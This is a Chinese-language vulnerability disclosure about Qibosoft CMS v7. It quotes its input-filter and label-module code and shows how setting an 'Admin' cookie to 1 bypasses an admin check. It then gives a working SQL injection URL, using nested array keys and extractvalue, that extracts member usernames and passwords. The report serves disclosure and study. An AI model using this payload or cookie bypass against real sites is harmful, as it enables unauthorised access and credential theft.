### 简要描述:
应该逻辑有点小错误?
### 详细说明:
http://down.qibosoft.com/down.php?v=v7
刚下载来测试的 发现点问题。
```
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
```
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
这个对数组中的key并没有过滤得很完善。
如果提交[1'][2] 这样的数组 那么进入这个匹配的就会是2 不会被匹配出 退出。
__________________________________________________________________
inc/label_module.php中
```
if($jobs=='show')
{
if(!$_COOKIE[Admin]&&!$web_admin)
{
showerr("你无权查看");
}
//获取头与尾的标签
preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("head",$head_tpl)));
preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("foot",$foot_tpl)));
//$label_hf为头部的检索数组,检查头部有多少个标签
is_array($label_hf) || $label_hf=array();
foreach($label_hf AS $key=>$value)
{
$rs=$db->get_one("SELECT * FROM {$pre}label WHERE tag='$key' AND chtype='99'");
```
```
if(!$_COOKIE[Admin]&&!$web_admin)
{
showerr("你无权查看");
}
```
我猜他这里是要管理员才有权限查看?
但是呢 这里我们完全不需要登录 连会员都不用登录。
因为他这里是用的 && 所以只要不满足一个 就不会退出了。
这里的$web_admin肯定我们是无法控制的了
但是$_COOKIE[Admin] 是我们可以直接控制的
那我们就让$_COOKIE[Admin]为1 就不会退出了
[<img src="https://images.seebug.org/upload/201407/310019156f26bc23caf0f898e27e7087f7f8076d.jpg" alt="55.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/310019156f26bc23caf0f898e27e7087f7f8076d.jpg)
被退出了 这里我们无需登录 直接修改一下cookie
[<img src="https://images.seebug.org/upload/201407/31002155551e2fc1fa2bd37169d09fc6f4aec8d3.jpg" alt="57.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/31002155551e2fc1fa2bd37169d09fc6f4aec8d3.jpg)
修改了一下cookie就不会被退出了。
```
foreach($label_hf AS $key=>$value)
{
$rs=$db->get_one("SELECT * FROM {$pre}label WHERE tag='$key' AND chtype='99'");
if($rs[tag])
```
然后直接把数组中的key带入到了查询当中
因为数组中的key没有做addslashes 结合上面的绕过 所以造成了注入。
http://www.test.com/v7/index.php?jobs=show&label_hf[1' and extractvalue(1,concat(0x5c,(select concat(username,password) from qb_members limit 1)))%23][2]=asd
[<img src="https://images.seebug.org/upload/201407/310034292a1098185a6694697a23064ba097cca7.jpg" alt="59.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/310034292a1098185a6694697a23064ba097cca7.jpg)
注入成功 出数据。
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201407/31003141b90a33ced77140a1016847db60773a74.jpg" alt="58.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/31003141b90a33ced77140a1016847db60773a74.jpg)
暂无评论